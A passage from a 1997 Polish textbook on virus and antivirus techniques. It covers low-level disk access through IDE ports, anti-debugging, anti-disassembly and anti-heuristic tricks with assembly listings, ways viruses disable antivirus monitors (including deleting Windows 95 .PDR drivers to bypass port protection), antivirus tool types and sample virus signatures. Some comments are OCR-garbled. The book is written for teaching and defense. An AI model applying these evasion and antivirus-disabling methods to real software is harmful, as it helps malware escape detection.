1011DRej WarkomD MOV Rej,WartkomD
1100000D MmOpsMem Wartkom8 Ops Mem,Wartkom8
11000100 MmRejMem LES Rej,Mem
11000101 MmRejMem LDS Rej,Mem
1100011D Mm000Mem WarkomD MOV Mem,WartkomD
11001100 INT3
11001101 Wartkom8 INT Wartkom8
11001110 INTO
11001111 IRET
1100F010 WartkomF RET WartkomF
1100F011 RET N/F
1101000D MmOpsMem Ops Mem,1
1101001D MmOpsMem Ops Mem,CL
11010110 SETALC
11010111 XLAT
11100000 Reladre8 LOOPNZ Reladre8
11100001 Reladre8 LOOPZ Reiadre8
11100010 Reladre8 LOOP Reladre8
11100011 Reladre8 JCXZ/JECXZ Reladre8
11100100 Wartkom8 AAM Wartkom8, zwykle Wartkom8=10
11100101 Wartkom8 AAD Wartkom8, zwykle Wartkom8=10
1110010D Numport8 IN Akumulator,Numport8
1110011D Numport8 OUT Numport8,Akumulator
11101000 Reladr16 CALLNEAR Reladr16
11101001 Reladr16 JMP NEAR Reladr16
11101010 Addroffs Addrsegm JMP FAR Addrsegm:Addroffs
11101011 Reladre8 JMP SHORT Reladre8
1110110D IN Akumulator, DX
1110111D OUT DX,Akumulator
11110000 LOCK
11110010 REPNZ
11110011 REP, REPZ
11110101 CMC
1111011D Mm000Mem WartkomD TEST Mem,Wartkom8
1111011D MmOp3Mem Op3 Mem
11111000 CLC
11111001 STC
11111010 CLI
11111011 STI
11111100 CLD
11111101 STD
11111110 MmOp4Mem Op4 Mem
11111111 MmOp5Mem Op5 Mem
ROZDZIAŁ 9
9.1. Sposoby dostępu do dysków
Najczęściej stosowany (bo najprostszy) mechanizm dostępu do plików lub sektorów polega na używaniu funkcji i przerwań programowych DOS (INT 21h, INT 25h, INT 26h). Najczęściej korzystają z niego wirusy plikowe i czasem wirusy BOOT-sektorów. Ze względu na możliwość istnienia zainstalowanego w systemie monitora antywirusowego sposób ten można bezpiecznie wykorzystać tylko po wyłączeniu aktywnego monitora lub też po znalezieniu oryginalnych procedur wejścia do odpowiednich przerwań.
Na dużo niższym poziomie operują wirusy infekujące Główny Rekord Ładujący (MBR), BOOT-sektory i JAP. Korzystają one z przerwania programowego INT 13h, operującego bezpośrednio na fizycznych sektorach dysków (w przypadku dyskietek można użyć przerwania 40h). Tak jak w przypadku przerwań i funkcji DOS, funkcje BIOS mogą być dość łatwo monitorowane przez program antywirusowy, a w nowoczesnych BIOS-ach - nawet przez program obsługi przerwania. W takim wypadku pozostaje jedyna bezpieczna metoda ingerencji w zawartość sektorów, polegająca na użyciu bezpośrednich odwołań do portów.
Pisanie procedur do obsługi plików, które na najniższym poziomie odwoływałyby się do portów nie ma sensu, natomiast łatwo jest napisać takie procedury tylko dla pojedynczych, wybranych sektorów, czyli np. MBR, BOOT-sektora, co w przypadku dysków (zgodnych z IDE lub EIDE) oraz dyskietek jest względnie proste. W przypadku dysków SCSI jest to o wiele trudniejsze, chociażby ze względu na brak dokładnej dokumentacji technicznej tych urządzeń, stąd też trzeba obsługiwać je przez funkcje systemowe (można pokusić się o poszukanie czystych wejść do procedur ich obsługi).
Operując na portach należy pamiętać, iż wraz z pojawieniem się dysków o pojemnościach o wiele większych od tych, które mogą być standardowo obsługiwane przez funkcje BIOS przerwania 13h, zaszła konieczność jakiegoś obejścia dotychczasowych ograniczeń związanych z pojemnością dysków widzianych przez BIOS. Niektóre twarde dyski posiadają więc w swych pierwszych fizycznych sektorach (począwszy od MBR) coś w rodzaju nakładki (ang. Dynamic Drive Overlay), która po załadowaniu do pamięci przez program zawarty w pierwszym fizycznym sektorze przejmuje i poszerza odpowiednie funkcje obsługi dysku. Aby możliwe było dalsze wczytywanie systemu, po wczytaniu nakładki odwołania do sektorów są przekierowy-wane (do numeru cylindra dodawane jest l). W efekcie prawdziwy sektor MBR wcale nie jest umiejscowiony w sektorze o adresie: cylinder 0, strona 0, sektor l, lecz pod adresem: cylinder l, strona 0, sektor l. Nieuwzględnienie tego faktu może przyczynić się do przypadkowego zniszczenia danych na dysku podczas zapisywania przy użyciu portów, a co za tym idzie, do szybszego wykrycia wirusa.
Najskuteczniejszym sposobem uchronienia się przed odczytem i zapisem bezpośrednio przez porty jest odpowiednia kontrola dostępu do urządzeń we/wy na poziomie trybu chronionego przy pomocy tablic map portu. Jednak i to zabezpieczenie nie wydaje się bardzo pewne, gdyż najczęściej istnieje jakaś możliwość ingerencji w jądro systemu nawet dla trybu chronionego (jeżeli nie w pamięci, to w plikach), a co za tym idzie, można zmienić odpowiednią część systemu, odpowiedzialną w tym wypadku za operacje na dyskach.
W przypadku systemu Windows 95 (działającego w trybie chronionym) można spróbować wymuszać jego uruchamianie w tzw. trybie zgodności z MS DOS. Tryb ten oznacza, iż wszelkie wykonywane operacje dyskowe są przekierowywane do trybu rzeczywistego, a tam nie działa mechanizm ochrony portów.
Aby wymusić używanie tego trybu przez Windows 95, należy skasować lub tymczasowo usunąć następujące pliki:
> ściezka\SYSTEM\IOSUBSYS\HSFLOP.PDR - plik odpowiedzialny za dyski FDD;
> ścieźka\SYSTEM\IOSUBSYS\ESDI_506.PDR - plik odpowiedzialny za dyski twarde zgodne z (E)IDE;
> ścieżka\SYSTEM\IOSUBSYS\SCSIPORT.PDR - plik odpowiedzialny za dyski twarde SCSI,
gdzie ścieżka oznacza katalog, w którym umieszczony jest system Windows. Zastosowanie tego triku spowoduje, iż przy następnym ładowaniu systemu Windowa zostanie on uruchomiony w trybie zgodności z MS DOS.
Odnalezienie katalogu, w którym umieszczony jest system Windows, nie stanowi problemu. Wystarczy w bloku pamięci należącym do środowiska (ang. enviroment) odnaleźć jedną ze zmiennych (nie zawsze występują wszystkie):
> WIN=;
> WINDIR=;
> WINBOOTDIR=
i odczytać opisywany przez daną zmienną katalog, a następnie już bez trudu uzyskać dostęp do plików *.PDR.
Poniżej zamieszczono dwa programy, z których jeden odczytuje przy pomocy portów tablicę partycji pierwszego dysku twardego, a drugi BOOT-sektor dyskietki (musi być w napędzie). Odczytane sektory są porównywane z zawartością sektorów widzianych przez funkcje BIOS, zaś wynik porównania jest wyświetlany na ekranie.
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; IDE_PORT v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Program odczytuje sektor tablicy partycji pierwszego twardego dysku ;
; przez porty IDE i przerwanie BIOS, a nastepnie tak odczytane sektory ;
; porownuje ze soba. ;
; Umozliwia wiec sprawdzenie, czy odczyty BIOSa nie sa zafalszowane ;
; przez jakiegos wirusa. ;
; ;
; UWAGA : Odczyt przez porty dziala tylko dla dyskow zgodnych z IDE lub EIDE ;
; i nie dziala w systemie Windows'95 ;
; ;
; Kompilacja : ;
; TASM /t IDE_PORT.ASM ;
; TLINK IDE_PORT.OBJ ;
; ;
;----------------------------------------------------------------------------;
IDE_PORT SEGMENT
ASSUME CS:IDE_PORT, DS:IDE_PORT
ORG 100h
NUL = 00h ; \
LF = 0Ah ; - stale potrzebne do deklaracji
CR = 0Dh ; / lancuchow napisowych
Start:
lea si,TeCopyRight ; \ wyswietl info o programie
Call Druk ; /
mov ax,1600h ; sprawdz, czy praca w systemie Windows ?
int 2Fh
test al,7Fh ;
jz NieMaWindows ; ZF=0 - nie ma Windows
cmp al,4 ; czy wersja Windows < 4.0 ?
jb NieMaWindows ; TAK - to nie Windows 95
; NIE - to Windows 95
lea bp,TeWindows95 ; \ program nie dziala pod Windows 95
jmp Rozne ; / wiec koncz
NieMaWindows:
mov dx,1F2h ; 1F2 - okresla ile sektorow czytac
mov al,00000001b ; czytaj 1 sektor
out dx,al ; wyslij do IDE
inc dx ; 1F3 - okresla, ktory sektor pierwszy
mov al,00000001b ; czytaj sektor nr 1
out dx,al ; wyslij do IDE
inc dx ; 1F4 - starsza czesc cylindra (bity 0-1)
mov al,00000000b ; czytaj cylinder 0
out dx,al ; wyslij do IDE
inc dx ; 1F5 - mlodsza czesc cylindra (bity 0-7)
mov al,00000000b ; czytaj cylinder 0
out dx,al ; wyslij do IDE
inc dx ; 1F6 - nr dysku + nr glowicy
mov al,10100000b ; 101NGggg, N=0=master/1=slave, Gggg - glowica
out dx,al ; wyslij do IDE
inc dx ; 1F7 - rejestr rozkazowy IDE
mov al,00100000b ; rozkaz odczytu
out dx,al ; wyslij do IDE
lea bp,TeIDENieDziala ; odczyt przez porty nie dziala
mov cx,0FFFFh ; tyle razy odczytuj z portu
CzekajNaDane:
in al,dx ; czekaj na dane z kontrolera IDE
test al,00001000b ; bit 3 ustawiony ?
loopz CzekajNaDane ; TAK - mozna czytac, NIE - czekaj dalej
test al,00001000b ; bit 3 ustawiony ?
jz Rozne ; NIE - jakis blad
mov cx,256 ; 256x2 bajtow
lea di,SektorIDE ; gdzie zapisac dane
mov dx,1F0h ; 1F0 - port danych IDE
cld ; INC DI w operacjach lancuchowych
CzytajSektor:
in ax,dx ; czytaj slowo
stosw ; zachowaj je
loop CzytajSektor ; czytaj 256 slow=512 bajtow sektora
mov dx,80h ; dysk twardy nr 0, glowica 0
mov cx,1 ; cylinder 0, sektor 1
lea bx,SektorBIOS ; dokad czytac sektor
mov ax,0201h ; funkcja BIOS - czytaj 1 sektor
int 13h ; wywolaj funkcje BIOS
lea bp,TeInne ; komunikat ze rozne
mov cx,256 ; porownaj 256 slow=512 bajtow
lea si,SektorIDE ; bufor z sektorem odczytanym przez porty
lea di,SektorBIOS ; bufor z sektorem odczytanym przez BIOS
rep cmpsw ; porownaj oba bufory
jne Rozne ; ZF=0 - takie same, ZF=1 - rozne
lea bp,TeTakieSame ; komunikat, ze takie same
Rozne:
mov si,bp ; komunikat : rozne lub takie same
Call Druk ; wyswietl komunikat
mov ax,4C00h ; funkcja DOS - koncz program
int 21h ; wywolaj funkcje
Druk: ; procedura wyswietla tekst ASCIIZ z CS:SI
push ax si ; zachowaj zmieniane rejestry
NastepnyZnak:
lods byte ptr cs:[si] ; wez kolejny znak
or al,al ; czy znak jest zerem ?
jz DrukPowrot ; TAK = koniec napisu wyjdz z petli
mov ah,0Eh ; funkcja BIOS
int 10h ; wyswietl znak (z AL)
jmp short NastepnyZnak ; wez nastepny znak
DrukPowrot:
pop si ax ; przywroc zmieniane rejestry
ret ; powrot z procedury
TeCopyRight db CR,LF,'IDE_PORT v1.0, Autor : Adam Blaszczyk 1997',NUL
TeTakieSame db CR,LF,'_ Odczyt przez IDE-porty = odczyt przez BIOS !',NUL
TeInne db CR,LF,'_ Odczyt przez IDE-porty <> odczyt przez BIOS !',NUL
TeWindows95 db CR,LF,'_ Odczyt przez IDE-porty nie dziala w Windows''95 !',NUL
TeIDENieDziala db CR,LF,'_ Odczyt przez IDE-porty nie dziala !',NUL
SektorBIOS db 512/16 dup ('[ SEKTOR BIOS ] ')
SektorIDE db 512/16 dup ('[ SEKTOR EIDE ] ')
IDE_PORT ENDS
END Start
9.2. Sztuczki antydebuggerowe, antydeasemblerowe, antyemulacyjne i antyheurystyczne
Aby utrudnić życie programistom piszącym szczepionki oraz zabezpieczyć swój kod przed niepowołanymi osobami, twórcy wirusów (i nie tylko) często używają tzw. sztuczek antydebuggerowych oraz antydeasemblerowych. Najbardziej znane sztuczki antydebuggerowe polegają na chwilowym (na czas wykonywania kodu wirusa) blokowaniu przerwań sprzętowych, co dla osoby próbującej analizować kod programu objawia się tym, iż np. klawiatura przestaje działać po wykonaniu instrukcji.
Przeszkadzanie włamywaczom polegać może także na blokowaniu lub chwilowym przejmowaniu przerwań newralgicznych dla działania programu uruchomieniowego, a więc 0lh (przerwanie trybu krokowego) i 03h (pułapka programowa). Ich adresy najczęściej ustawia się na 0FFFFh:0000h, czyli na procedurę resetującą programowo komputer. Często w takich wypadkach przejmowane są także przerwania 21h, 16h, 10h, służące debuggerom do obsługi plików, klawiatury, ekranu itd.
Inna metoda przeszkadzania potencjalnym włamywaczom polega na tym, iż wirus próbuje wykrywać fakt pracowania pod kontrolą de-buggera i po ewentualnym wykryciu - wykonywać jakąś destrukcyjną operację lub też próbować uciec włamywaczowi tak, aby ten niczego nie zauważył.
Klasycznymi przykładami sztuczek antydebuggerowych są poniższe sekwencje:
; Blokada przerwa± sprzÛtowych
MOV AL,0FFh ; ustaw wszystkie bity w AL na 1
OUT 21h, AL ; zamaskuj przerwania sprzÛtowe od 0 do 7
OUT 0Alh, AL ; zamaskuj przerwania sprzÛtowe od 8 do F Wykrywanie,
; czy kod wykonuje siÛ pod kontrola debuggera
PUSH SS ; za│aduj na stos warto£µ SS
POP SS ; po tej instrukcji, nastÛpny rozkaz nie jest
; kontrolowany,
PUSHF ; wiÛc mo┐na zachowaµ na stosie prawdziwe flagi
POP AX ; AX=flagi zdjÛte ze stosu
TEST AH,1 ; czy bit TF=1 ?
JNZ DEBUG_ON ; je£li tak, to u┐ywany jest debugger
........ ; debugger nie jest u┐ywany
DEBUG_ON: ; debugger jest u┐ywany
Wraz z pojawieniem się debuggerów działających w trybie chronionym znaczenie sztuczek anydebuggerowych zmalało. Oczywiście, ciągle można je stosować, jednak będą one raczej nieskuteczne. Na przykład, jeżeli program próbuje manipulować adresami procedur obsługi przerwań INT l czy INT 3, debugger działający w trybie rzeczywistym oczywiście im ulegnie, natomiast w przypadku debuggera dla trybu chronionego w zasadzie nic się nie stanie, gdyż używa on innej, własnej tablicy przerwań.
Aby uniemożliwić lub utrudnić deasemblację wirusa, stosuje się szyfrowanie oraz odpowiednie kombinaqe instrukcji, które zakłócają typowy listing programu tak, iż staje się on chaotyczny, nieczytelny i na pozór bezsensowny (tak jak we wspomnianym we wstępie wirusie JUMP).
Przykładem jest krótki programik wyświetlający po uruchomieniu komunikat Cześć!, a napisany tak, iż po jego deasemblacji (np. SOUR-CER-em) uzyskuje się chaotyczny listing (co ciekawe, podczas kilkakrotnych prób otrzymywane źródło nie było zawsze takie same).
;----------------------------------------------------------------------------;
; ;
; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ;
; ;
; ANTY_DEA v1.0, Autor : Adam Blaszczyk 1997 ;
; ;
; Program demonstruje proste techniki antydeasemblerowe ;
; Po skompilowaniu mozna sprobowac deasemblowac kod tego ;
; programu przy uzyciu np. SOURCERa i porownac z oryginalnym ;
; zrodlem ;
; ;
; Kompilacja : ;
; TASM ANTY_DEA.ASM ;
; TLINK /t ANTY_DEA.OBJ ;
; ;
;----------------------------------------------------------------------------;
ANTY_DEA SEGMENT
ASSUME CS:ANTY_DEA, DS:ANTY_DEA
ORG 100h
Start: ; poczatek programu
sub bp,bp ; zeruj rejestr BP
lea dx,[bp+offset TxCzesc] ; dostep do danych poprzez
; adresowanie typowo uzywane
; przy operacjach na stosie
; deasembler moze nie zauwazyc
; ze chodzi o zwykly ofset
; do tekstu
jmp $+4 ; przeskocz bajt 0EAh
; i wskocz w drugi bajt
; rozkazu ADD, czyli
; przejdz do rozkazu
; jmp Koniec
; (ukrytego w kodzie rozkazu ADD)
db 0EAh ; symuluj wywolanie
; dalekiej procedury
; o kodzie EA OO OO SS SS, gdzie
; SS SS : Seg, OO OO : ofs
; mozliwe, ze deasembler pobierze
; dwuslowo i zamieni je
; na SS SS : OO OO
; i nie wykryje ani ADD, ani JMP
add ax,0EBh+256*(offset Koniec-$-3) ; kod tego rozkazu
; to db 05
; db EB
; db (offset Koniec-$-3)
; od drugiego bajtu rozpoczyna sie
; kod rozkazu Jmp Koniec (EB,??)
TxCzesc db 0Dh,0Ah,'Czesc!',0Dh,0Ah,'$' ; tekst w srodku kodu;
; istnieje szansa, ze
; deasembler zacznie
; go interpretowac jako kod
db 0EAh ; ta sama sztuczka co powyzej;
; symulacja wywolania dalekiej
; procedury
Koniec: ; tu dotrze program omijajac tekst
jmp $+3 ; przeskocz bajt 0EAh
db 0EAh ; ta sama sztuczka co powyzej;
; symulacja wywolania dalekie
; procedury CALL FAR
; ponizsza sekwencja mov ah,9/
; int 21h jest 4 bajtowa i jest
; calkowicie "pochlonieta" przez
; symulowany rozkaz CALL FAR
mov ah,9 ; funkcja DOS - wyswietl tekst$
int 21h ; wywolaj funkcje DOS
ret ; powrot do PSP:0000h,
; gdzie znajduje sie kod Int 20h,
; czyli koncz program
ANTY_DEA ENDS
END Start
Ze względu na fakt, iż większość obecnie istniejących programów antywirusowych stosuje tryb krokowy lub też emulację procesora do wykrywania wirusów polimorficznych, twórcy wirusów starają się w jakiś sposób utrudnić wykrywanie wirusów tymi metodami.
Specjalnie w tym celu do procedury dekodera, tworzonej przez poli-morficzny generator, dodaje się wywołania różnych, występujących typowo w zwykłym oprogramowaniu, funkcji przerwań 10h, 21h, 16h i innych, a także umieszcza się w niej wywołania procedur. Ciekawym zabiegiem antyemulacyjnym są też próby nadania dekoderowi wyglądu programu napisanego w językach wysokiego poziomu (posiadają one charakterystyczne sekwencje kodu na początku programu), bądź też nadanie plikowi cech np. wewnętrznie spakowanego programu (np. dodanie sygnatur PKLITE, LZEXE lub innych).
Po wykryciu wywołania pewnej ilości funkcji obsługiwanych przez przerwania programowe, próbujący wgryźć się w kod wirusa program antywirusowy zwykle przerywa dalsze poszukiwania i pozostawia plik bez zmian.
Ze względu na stosowanie przez programy antywirusowe heurysty-cznego wykrywania wirusów, nowsze wirusy potrafią już poradzić sobie z tego typu metodami, poprzez odpowiednią manipulację kodem, np. tradycjną sekwencję:
CMP AX,4B00h
mo┐na zakodowaµ w wirusie jako:
ADD AX,1234h
CMP AX,4B00h+1234h
lub
XCHG AX,CX
CMP AX,4B00h XCHG AX,CX
lub na inną, gdyż możliwości jest tu w zasadzie nieskończenie wiele. Gdy podobną operację wykona się dla większości zawartych w wirusie instrukcji, program antywirusowy będzie miał spore kłopoty z rozpoznaniem intruza.
9.3. Optymalizacje kodu
Jak wspomniano na początku, wirus powinien być maksymalnie krótki i zwięzły, tak więc autorom wirusów zwykle zależy na minimalizacji kodu wirusa, bez utracenia jego funkcjonalności. W tym celu stosuje się różne rozwiązania polegające na odpowiednim kodowaniu różnych instrukcji, które - mimo, że krótsze od normal-
nie przeznaczonych do danego celu rozkazów - zachowują ich funkcjonalność. Poniższe przykłady ilustrują najbardziej znane i proste optymalizacje kodu:
XOR REJ16,REJ16 ; zeruj rejestr 16-bitowy za pomoce 2-bajtowego
; rozkazu (zamiast 3-bajtowego rozkazu MOV REJ16,0)
XOR AX,AX ; zeruj rejestry DX:AX za pomoc╣ dw¾ch rozkaz¾w CWD
; zajmuj╣cych razem 3 bajty (zamiast 4 lub 6 bajt¾w)
XCHG AX,REJ16 ; przenie£ zawarto£µ rejestru AX do innego rejestru ; 16-bitowego zamiast 2-bajtowej instrukcji MOV BX,AX
; (mo┐na u┐ywaµ tylko w niekt¾rych sytuacjach)
INC REJ16 ; dwie 1-bajtowe instrukcje INC
INC REJ16 ; zamiast jednej 3-bajtowej instrukcji
ADD REJ16,2 ; analogicznie dla rozkazu
SUB REJ16,2 ; 2xDEC
9.4. Retrostruktury (techniki anty-antywirusowe), czyli walka z zainstalowanymi monitorami antywirusowymi
Większość z nowoczesnych wirusów w aktywny sposób stara się walczyć z zainstalowanym oprogramowaniem antywirusowym. Wirusy kasują więc pliki z sumami kontrolnymi, modyfikują znalezione w pamięci programy antywirusowe, tak aby nie były one aktywne, lub nawet deinstalują je całkowicie z pamięci w sposób niewidoczny dla użytkownika.
Co ciekawe, większość monitorów antywirusowych, zawierających wyrafinowane metody wykrywania niebezpiecznych odwołań do plików czy sektorów, nie przykłada żadnej wagi do ochrony własnego
kodu. W kolejnych wersjach programy te mają schematyczną budo' we, a korzystające z tego wirusy potrafią wykryć odpowiednią sekwencję w pamięci i zmienić ją tak, iż program, mimo że jest zainstalowany, nie działa tak, jak powinien.
Najbardziej jaskrawym tego przykładem jest chyba modyfikacja parametrów wejściowych programu antywirusowego, który po uruchomieniu wyświetla swój status, zawierający użyty przez wirusa parametr. Dodawane przez wirusy parametry najczęściej wyłączają bezpośredni dostęp do dysków, przeszukiwanie pamięci itp. Aby uniemożliwić użytkownikowi zauważenie wprowadzonych w parametrach zmian, wirusy zmieniają odpowiedni łańcuch bezpośrednio w pamięci ekranu, tak iż odbiorca (użytkownik programu) patrząc na ekran jest przekonany o poprawnym działaniu programu, mimo że ten ma zablokowane funkcje, które prawdopodobnie pomogłyby wykryć wirusa.
We wspomnianych we wstępie zinach, dotyczących programowania wirusów, znaleźć można artykuły, które bardzo dokładnie opisują sposoby łamania najbardziej znanych na świecie programów antywirusowych (w artykułach tych najczęściej mówi się o serii zaawansowanych programów antywirusowych ThunderByte autorstwa Fransa Veldmana).
W najbliższych latach spodziewać się można powstania zupełnie nowych odmian wirusów, które wykorzystywać będą nie znane nam aktualnie mechanizmy. Poniżej przedstawiono krótki przegląd przewidywanych przez większość znawców wirusów trendów rozwojowych progamowania wirusów. Ze względu jednak na charakter rozdziału oraz na wątpliwą wiarygodność różnego rodzaju przepowiedni, zalecam czytelnikowi podejście do tego tekstu z odrobiną sceptycyzmu.
ROZDZIAŁ 10
10.1. Wirusy dla różnych systemów (ang. multisystem, multiplatform viruses)
Jednym z zadań, jakie stawiają sobie obecnie twórcy wirusów, jest stworzenie wirusa, który mógłby egzystować w jak największej ilości systemów operacyjnych (w tym także sieciowych). Wirus taki powinien infekować wszystkie możliwe do zarażenia obiekty, a także w miarę możliwości przenosić się w sieci, wykorzystując protokoły transmisji sieciowej. Wydaje się, iż ze względu na różnice występujące pomiędzy różnymi komputerami i systemami operacyjnymi, najniższym poziomem, na jakim będzie mógł pracować taki wirus, będzie jakiś język programowania wysokiego poziomu, najpewniej C lub podobny. Odpowiedni może okazać się stale rozwijany, dość popularny język JAVA, masowo wykorzystywany w sieci Intemet. Poprzez zawarte w nim mechanizmy można będzie zapewne stworzyć wirusa, który będzie się przemieszczał bez większych trudności po całej sieci Internet.
Idea stworzenia wirusa działającego na różnych komputerach nie jest wcale tak odległa, jak można by sądzić po przeczytaniu powyższego tekstu. Prawdziwą niespodzianką jest fakt, iż pierwsze wirusy niezależne sprzętowo już istnieją i są to... makrowirusy, które radzą sobie zarówno na komputerach klasy PC, jak i Macintosh,
10.2. Wirusy infekujące wewnątrzplikowo (ang. surface infectors)
Większość obecnie istniejących wirusów infekując pliki używa standardowego schematu, polegającego na doczepianiu się na końcu zarażanego pliku i odpowiedniej modyfikacji jego nagłówka. Zarażanie wewnątrzplikowe polega na próbie odnalezienia i wykorzystania w zarażanym pliku miejsca, które można byłoby wykorzystać na umieszczenie przyszłego wirusa. Możliwe byłoby nawet rozrzucenie kodu wirusa po pliku ofiary, tak iż poszczególne części kodu byłyby od siebie oddzielone. Ponadto, gdyby wirus tego typu był polimorfi-czny, znalezienie jego kodu wewnątrz ofiary byłoby podwójnie utrudnione. Mimo że już wielokrotnie podejmowano próby napisania takiego wirusa, nieliczne istniejące egzemplarze są jeszcze bardzo prymitywne.
10.3. Wirusy zmienne genetycznie (mutujące swój kod)
W kilku artykułach dostępnych w sieci Internet ich autorzy rozważają możliwość stworzenia wirusa, który w kolejnych zarażanych ofiarach wyglądałby inaczej, jednak kolejne generacje nie byłyby tworzone przy użyciu polimorficznego generatora zmiennych procedur szyfrujących, a zasada tworzenia nowych mutacji własnego kodu polegałaby na manipulowaniu instrukcjami kodu maszynowego tak, aby zachowana została funkcjonalność kodu, lecz kod ten sukcesywnie by się zmieniał (podobnie jak kod odporny na heurystykę, jednak tutaj zabieg ten byłby wykonywany dla każdej instrukcji). Można by powiedzieć, iż wirus taki posiadałby swoistą tożsamość, objawiającą się tym, iż wiedziałby, co ma robić i na bazie jakiegoś generatora tworzyłby swą nową kopię, przemieszczając odpowiednie fragmenty ko
du, symulując jedną instrukcję za pomocą kilku itp. Na razie jednak zadanie to przekracza chyba umiejętności nawet najlepszych twórców wirusów, choć niewykluczone, iż dzieło takie wkrótce się pojawi.
10.4. Wirusy infekujące nowe, nie infekowane dotychczas obiekty
Jak udowodniły makrowirusy plików DOC czy XLS, ciągle można znaleźć jakąś nową platformę, dotąd nie zajętą przez wirusy. Ze względu na zmierzch systemu DOS znawcy wirusów przewidują, iż za kolejny cel twórcy wirusów obiorą sobie inne popularne systemy, zwłaszcza system Windows 95 oraz, w mniejszym stopniu, Unix (zwłaszcza Linux), OS/2 lub Windows NT. Już dziś można znaleźć okazy wirusów infekujących np. system Windows 95, Linux, OS/2 i,
co ciekawe, są one napisane w... czystym asemblerze (nawet w przypadku Linuxa).
Popularność środowiska Windows 95 powoduje, iż za możliwe obiekty ataku można uznać większość plików używanych przez ten system, które zawierają jakieś przydatne wirusom struktury danych lub też oferują jakiś możliwy do wykorzystania mechanizm. Są to głównie pliki z kodem np. DLL, VXD, MPD, PDR, DRV, 386 oraz pliki grup i skrótów: GRP i LNK, przy pomocy których można stworzyć kolejne warianty wirusów towarzyszących. Ze względu na strukturę plików przeznaczonych dla Windows 95 (pliki nowe EXE o nagłówku
PE) możliwe jest także zastosowanie zmiennych procedur szyfrujących do lepszego ukrycia wirusa.
ROZDZIAŁ 11
11.1. Skanery (ang. scaners)
Najstarszym rodzajem programów antywirusowych są skanery. Ich działanie polega na wyszukiwaniu zadanej sekwencji bajtów w ciągu danych.
W większości wirusów daje się znaleźć unikalną sekwencję bajtów (tzw. sygnaturę), dzięki której możliwe jest odnalezienie wirusa w pamięci lub w zarażonej ofierze.
Skuteczność skanera zależy od tego, jak bardzo charakterystyczna jest dana sekwencja. Najlepiej, jeżeli wirus zawiera w sobie jakiś niekonwencjonalny napis lub specyficzny ciąg bajtów (np. jakąś procedurę demonstracyjną).
Wraz z pojawieniem się wirusów polimorficznych znaczenie skanerów trochę zmalało, jednak nadal jest to najważniejsza metoda walki z wirusami. Nawet w przypadku wirusów polimorficznych używa się skanera, choć dopiero w późniejszej fazie wykrywania (np. po krokowym lub emulowanym przejściu początku programu), co świadczy o uniwersalności tej metody.
11.2. Monitory (ang. behaviour blockers, interceptors, resident monitors)
Monitor to program antywirusowy zainstalowany jako TSR lub sterownik SYS, który poprzez monitorowanie odpowiednich funkcji DOS i BIOS pozwala na wykrywanie wszystkich wykonywanych za pomocą tych funkcji odwołań do dysków. Większość tego typu programów posiada także mechanizmy pozwalające na sprawdzanie, czy wykonywany proces nie ingeruje w jakieś systemowe struktury danych, np. bloki MCB lub tablicę wektorów przerwań. To, czy monitor będzie działał prawidłowo, zależy często od momentu, w którym przejął on kontrolę nad systemem (przed czy po wirusie) oraz od tego, jak głęboko wnika on w system operacyjny (kontrola funkcji wykorzystywanych przez wirusy jest przeprowadzana na początku łańcucha obsługi przerwań lub też na jego końcach). Jak widać, aby dotrzymać kroku twórcom wirusów, autorzy programów antywirusowych muszą korzystać z metod podobnych do tych, które stosują twórcy wirusów.
Największą wadą monitorów jest to, iż powodują one częste fałszywe alarmy (ang. false positives), przez co użytkownik po kolejnym irytującym potwierdzeniu jakiejś zwykłej operacji dyskowej staje się mniej uważny, a czasami wręcz deinstaluje program antywirusowy z pamięci.
11.3. Szczepionki (ang. disinfectors)
Szczepionki są programami skierowanymi przeciwko konkretnym wirusom. Na podstawie posiadanego, złapanego egzemplarza wirusa można, po odpowiedniej analizie jego kodu, zdefiniować sygnatury, na podstawie których wykrywa się kopie wirusa w zainfekowanych obiektach. Dokładna analiza kodu wirusa najczęściej pozwala także odnaleźć w nim oryginalne wartości pewnych parametrów, które mogą posłużyć do wyleczenia sektorów lub plików (np. dla plików typu EXE jest to punkt wejścia do oryginalnego programu, dla plików COM - początkowe bajty programu). Większość z istniejących szczepionek to rozbudowane programy z interfejsem, które potrafią wykryć i usunąć kilka tysięcy wirusów. Tylko w przypadkach nowych wirusów niektóre osoby, zmuszone okolicznościami, same piszą szczepionkę skierowaną przeciwko konkretnemu wirusowi, czego efektem z reguły jest nie do końca przetestowany, ale działający program.
11.4. Programy autoweryfikujące
Programy tego typu umożliwiają dodanie do wskazanego pliku krótkiego programu, mającego na celu sprawdzenia przy każdym uruchomienie, czy dany program nie został w jakiś sposób zmieniony (co zwykle oznacza ingerencję wirusa). Dodawany kod dopisuje się do pliku wykorzystując te same mechanizmy co wirusy.
Najczęściej programy tego rodzaju są nieodporne na technikę stealth i w systemie zainfekowanym przez wirusa używającego tej sztuczki nie wykażą żadnej zmiany w pliku, mimo że jest on zainfekowany.
11.5. Programy zliczające sumy kontrolne (ang. integrity checkers)
Działanie tego typu programów polega na obliczaniu odpowiednich sum kontrolnych dla zadanego pliku lub plików oraz ewentualnie sektorów. Zliczane sumy kontrolne są najczęściej przechowywane w osobnych plikach, tworzonych po pierwszym uruchomieniu programu. Jeżeli pliki te istniały już wcześniej, program antywirusowy wykorzystuje dane w nich zawarte, aby porównać sumę obliczaną na bieżąco z poprzednio zachowaną.
Suma kontrolna nie musi (a nawet nie powinna) być sumą arytmetyczną. Dzięki znajomości algorytmów stosowanych przez pewne programy antywirusowe niektóre wirusy potrafią zarazić plik i obliczyć dla niego nową sumę kontrolną, którą bez większych problemów można zastąpić pierwotną, przechowywaną w pliku.
Piętą Achillesową programów zliczających sumy kontrolne jest to, iż pliki przechowywujące obliczone sumy nie są w żaden sposób chronione, dlatego wiele wirusów bezkarnie kasuje napotkane znane sobie pliki z sumami kontrolnymi.
ROZDZIAŁ 12
12.1. Skaning
Historycznie jest to najstarsza technika stosowana przez programy antywirusowe. Skaning polega na wyszukiwaniu w zainfekowanym obiekcie zadanej sekwencji bajtów (sygnatury wirusa).
Poniżej przedstawiono kilka przykładowych sygnatur istniejących wirusów:
B8 ED FE CD 21 A3 03 01 0E 8F 06 6F 01 BA ; sygnatura wirusa Atomie 1.0
BE 30 01 8B 16 17 01 B9 35 01 2E 31 14 83 ; sygnatura wirusa Human Greed
8B FC 36 8B 2D 81 ED 03 01 44 44 1E 06 OE ; sygnatura wirusa DOOM!
